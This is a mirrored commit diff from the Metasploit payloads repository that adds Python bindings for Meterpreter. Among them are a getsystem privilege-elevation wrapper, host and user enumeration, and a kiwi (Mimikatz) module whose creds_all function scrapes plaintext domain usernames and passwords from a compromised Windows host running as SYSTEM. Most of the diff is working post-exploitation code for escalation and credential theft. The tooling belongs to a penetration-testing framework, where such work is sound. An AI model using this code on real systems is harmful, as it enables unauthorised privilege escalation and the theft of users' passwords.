mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
More bindings, including kiwi as an example
This commit is contained in:
parent
04cb09737e
commit
4b2257c791
@ -6,7 +6,7 @@
|
||||
#define _METERPRETER_SOURCE_COMMON_COMMON_H
|
||||
|
||||
/*! @brief Set to 0 for "normal", and 1 to "verbose", comment out to disable completely. */
|
||||
#define DEBUGTRACE 0
|
||||
//#define DEBUGTRACE 0
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
@ -182,10 +182,12 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
||||
thread_join(pThread);
|
||||
|
||||
// get the exit code for our pthread
|
||||
dprintf("[ELEVATE] dwResult before exit code: %u", dwResult);
|
||||
if (!GetExitCodeThread(pThread->handle, &dwResult)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed",
|
||||
ERROR_INVALID_HANDLE);
|
||||
}
|
||||
dprintf("[ELEVATE] dwResult after exit code: %u", dwResult);
|
||||
|
||||
} while (0);
|
||||
|
||||
|
@ -127,34 +127,61 @@ bytes = lambda *args: str(*args[:1])
|
||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
|
||||
|
||||
def tlv_pack(*args):
|
||||
if len(args) == 2:
|
||||
tlv = {'type':args[0], 'value':args[1]}
|
||||
else:
|
||||
tlv = args[0]
|
||||
data = ''
|
||||
value = tlv['value']
|
||||
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
if isinstance(value, float):
|
||||
value = int(round(value))
|
||||
data = struct.pack('>III', 12, tlv['type'], value)
|
||||
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
||||
data = struct.pack('>IIQ', 16, tlv['type'], value)
|
||||
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(value))), 'UTF-8')
|
||||
else:
|
||||
if value.__class__.__name__ == 'unicode':
|
||||
value = value.encode('UTF-8')
|
||||
elif not is_bytes(value):
|
||||
value = bytes(value, 'UTF-8')
|
||||
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
|
||||
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||
return data
|
||||
if len(args) == 2:
|
||||
tlv = {'type':args[0], 'value':args[1]}
|
||||
else:
|
||||
tlv = args[0]
|
||||
data = ''
|
||||
value = tlv['value']
|
||||
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
if isinstance(value, float):
|
||||
value = int(round(value))
|
||||
data = struct.pack('>III', 12, tlv['type'], value)
|
||||
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
||||
data = struct.pack('>IIQ', 16, tlv['type'], value)
|
||||
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(value))), 'UTF-8')
|
||||
else:
|
||||
if value.__class__.__name__ == 'unicode':
|
||||
value = value.encode('UTF-8')
|
||||
elif not is_bytes(value):
|
||||
value = bytes(value, 'UTF-8')
|
||||
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
|
||||
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||
return data
|
||||
|
||||
def packet_enum_tlvs(pkt, tlv_type = None):
|
||||
offset = 0
|
||||
while (offset < len(pkt)):
|
||||
tlv = struct.unpack('>II', pkt[offset:offset+8])
|
||||
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
|
||||
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
||||
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
val = str(val.split(NULL_BYTE, 1)[0])
|
||||
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
val = struct.unpack('>I', val)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
||||
val = struct.unpack('>Q', val)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
val = bool(struct.unpack('b', val)[0])
|
||||
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
pass
|
||||
yield {'type':tlv[1], 'length':tlv[0], 'value':val}
|
||||
offset += tlv[0]
|
||||
raise StopIteration()
|
||||
|
||||
def packet_get_tlv(pkt, tlv_type):
|
||||
try:
|
||||
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
|
||||
except IndexError:
|
||||
return {}
|
||||
return tlv
|
||||
|
||||
# END OF COPY PASTE
|
||||
|
||||
@ -166,15 +193,16 @@ def validate_bindings(required):
|
||||
if len(missing) > 0:
|
||||
raise Exception('Missing bindings: {0}'.format(list(missing)))
|
||||
|
||||
def invoke_meterpreter(method, is_local, tlv):
|
||||
def invoke_meterpreter(method, is_local, tlv = ""):
|
||||
validate_bindings([method])
|
||||
|
||||
#print "{0} packet is {1} bytes".format(method, len(tlv))
|
||||
header = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
header += tlv_pack(TLV_TYPE_METHOD, method)
|
||||
header += tlv_pack(TLV_TYPE_REQUEST_ID, 0)
|
||||
req = struct.pack('>I', len(header) + len(tlv) + 4) + header + tlv
|
||||
|
||||
return getattr(meterpreter_bindings, method)(is_local, req)
|
||||
|
||||
def rnd_string(n):
|
||||
return ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(n))
|
||||
|
||||
|
@ -12,4 +12,14 @@ def getsystem():
|
||||
tlv = tlv_pack(TLV_TYPE_ELEVATE_TECHNIQUE, 1)
|
||||
tlv = tlv_pack(TLV_TYPE_ELEVATE_SERVICE_NAME, rnd_string(5))
|
||||
resp = invoke_meterpreter('priv_elevate_getsystem', True, tlv)
|
||||
return resp
|
||||
if resp == None:
|
||||
return False
|
||||
|
||||
return packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] == 0
|
||||
|
||||
def rev2self():
|
||||
resp = invoke_meterpreter('stdapi_sys_config_rev2self', True)
|
||||
if resp == None:
|
||||
return False
|
||||
|
||||
return packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] == 0
|
||||
|
@ -0,0 +1,46 @@
|
||||
import meterpreter_bindings
|
||||
import meterpreter.user
|
||||
|
||||
from meterpreter.core import *
|
||||
|
||||
TLV_KIWI_EXTENSION = 20000
|
||||
|
||||
TLV_TYPE_KIWI_PWD_ID = TLV_META_TYPE_UINT | (TLV_KIWI_EXTENSION + 1)
|
||||
TLV_TYPE_KIWI_PWD_RESULT = TLV_META_TYPE_GROUP | (TLV_KIWI_EXTENSION + 2)
|
||||
TLV_TYPE_KIWI_PWD_USERNAME = TLV_META_TYPE_STRING | (TLV_KIWI_EXTENSION + 3)
|
||||
TLV_TYPE_KIWI_PWD_DOMAIN = TLV_META_TYPE_STRING | (TLV_KIWI_EXTENSION + 4)
|
||||
TLV_TYPE_KIWI_PWD_PASSWORD = TLV_META_TYPE_STRING | (TLV_KIWI_EXTENSION + 5)
|
||||
TLV_TYPE_KIWI_PWD_AUTH_HI = TLV_META_TYPE_UINT | (TLV_KIWI_EXTENSION + 6)
|
||||
TLV_TYPE_KIWI_PWD_AUTH_LO = TLV_META_TYPE_UINT | (TLV_KIWI_EXTENSION + 7)
|
||||
TLV_TYPE_KIWI_PWD_LMHASH = TLV_META_TYPE_STRING | (TLV_KIWI_EXTENSION + 8)
|
||||
TLV_TYPE_KIWI_PWD_NTLMHASH = TLV_META_TYPE_STRING | (TLV_KIWI_EXTENSION + 9)
|
||||
|
||||
def creds_all():
|
||||
if not meterpreter.user.is_system():
|
||||
raise Exception('Unable to extract credentials: Not running as SYSTEM')
|
||||
|
||||
tlv = tlv_pack(TLV_TYPE_KIWI_PWD_ID, 0)
|
||||
resp = invoke_meterpreter('kiwi_scrape_passwords', True, tlv)
|
||||
if resp == None:
|
||||
return False
|
||||
|
||||
if packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] != 0:
|
||||
return False
|
||||
|
||||
found = set([])
|
||||
creds = []
|
||||
for group in packet_enum_tlvs(resp, TLV_TYPE_KIWI_PWD_RESULT):
|
||||
domain = packet_get_tlv(group['value'], TLV_TYPE_KIWI_PWD_DOMAIN)
|
||||
username = packet_get_tlv(group['value'], TLV_TYPE_KIWI_PWD_USERNAME)
|
||||
password = packet_get_tlv(group['value'], TLV_TYPE_KIWI_PWD_PASSWORD)
|
||||
|
||||
if domain and username and password:
|
||||
key = '{0}\x01{1}\x01{2}'.format(domain['value'], username['value'], password['value'])
|
||||
if not key in found:
|
||||
found.add(key)
|
||||
creds.append({
|
||||
'Domain': domain['value'],
|
||||
'Username': username['value'],
|
||||
'Password': password['value']
|
||||
})
|
||||
return creds
|
@ -0,0 +1,27 @@
|
||||
import meterpreter_bindings
|
||||
|
||||
from meterpreter.core import *
|
||||
|
||||
TLV_STDAPI_EXTENSION = 0
|
||||
|
||||
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1040)
|
||||
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1041)
|
||||
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1043)
|
||||
TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1044)
|
||||
TLV_TYPE_DOMAIN = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1046)
|
||||
TLV_TYPE_LOGGED_ON_USER_COUNT = TLV_META_TYPE_UINT | (TLV_STDAPI_EXTENSION + 1047)
|
||||
|
||||
def info():
|
||||
resp = invoke_meterpreter('stdapi_sys_config_sysinfo', True)
|
||||
if resp == None:
|
||||
return False
|
||||
|
||||
return {
|
||||
'Host': packet_get_tlv(resp, TLV_TYPE_COMPUTER_NAME)['value'],
|
||||
'OS': packet_get_tlv(resp, TLV_TYPE_OS_NAME)['value'],
|
||||
'Arch': packet_get_tlv(resp, TLV_TYPE_ARCHITECTURE)['value'],
|
||||
'Lang': packet_get_tlv(resp, TLV_TYPE_LANG_SYSTEM)['value'],
|
||||
'Domain': packet_get_tlv(resp, TLV_TYPE_DOMAIN)['value'],
|
||||
'LoggedOn': packet_get_tlv(resp, TLV_TYPE_LOGGED_ON_USER_COUNT)['value']
|
||||
}
|
||||
|
@ -0,0 +1,27 @@
|
||||
import meterpreter_bindings
|
||||
|
||||
from meterpreter.core import *
|
||||
|
||||
TLV_STDAPI_EXTENSION = 0
|
||||
|
||||
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1042)
|
||||
TLV_TYPE_SID = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1045)
|
||||
|
||||
SYSTEM_SID = "S-1-5-18"
|
||||
|
||||
def getuid():
|
||||
resp = invoke_meterpreter('stdapi_sys_config_getuid', True)
|
||||
if resp == None:
|
||||
return False
|
||||
|
||||
return packet_get_tlv(resp, TLV_TYPE_USER_NAME)['value']
|
||||
|
||||
def getsid():
|
||||
resp = invoke_meterpreter('stdapi_sys_config_getsid', True)
|
||||
if resp == None:
|
||||
return False
|
||||
|
||||
return packet_get_tlv(resp, TLV_TYPE_SID)['value']
|
||||
|
||||
def is_system():
|
||||
return getsid() == SYSTEM_SID
|
Binary file not shown.
@ -26,17 +26,21 @@ static PyObject* binding_invoke(PyObject* self, PyObject* args)
|
||||
packet.payload = (PUCHAR)(packetBytes + sizeof(TlvHeader));
|
||||
packet.payloadLength = (ULONG)packetLength - sizeof(TlvHeader);
|
||||
|
||||
|
||||
// If the functionality doesn't require interaction with MSF, then
|
||||
// make the packet as local so that the packet receives the request
|
||||
// and so that the packet doesn't get sent to Meterpreter
|
||||
packet.local = isLocal;
|
||||
|
||||
DWORD result = command_handle(gRemote, &packet);
|
||||
command_handle(gRemote, &packet);
|
||||
|
||||
// really not sure how to deal with the non-local responses at this point.
|
||||
if (packet.partner == NULL)
|
||||
{
|
||||
// "None"
|
||||
return Py_BuildValue("");
|
||||
}
|
||||
|
||||
return result == ERROR_SUCCESS ? Py_True : Py_False;
|
||||
return PyString_FromStringAndSize(packet.partner->payload, packet.partner->payloadLength);
|
||||
}
|
||||
|
||||
VOID binding_insert_command(const char* commandName)
|
||||
|
@ -706,8 +706,10 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
|
||||
packet_add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users);
|
||||
free(domainName);
|
||||
}
|
||||
|
||||
|
||||
else
|
||||
{
|
||||
dprintf("[CONFIG] Failed to get local system info for logged on user count / domain");
|
||||
}
|
||||
} while (0);
|
||||
#else
|
||||
CHAR os[512];
|
||||
|
Loading…
Reference in New Issue
Block a user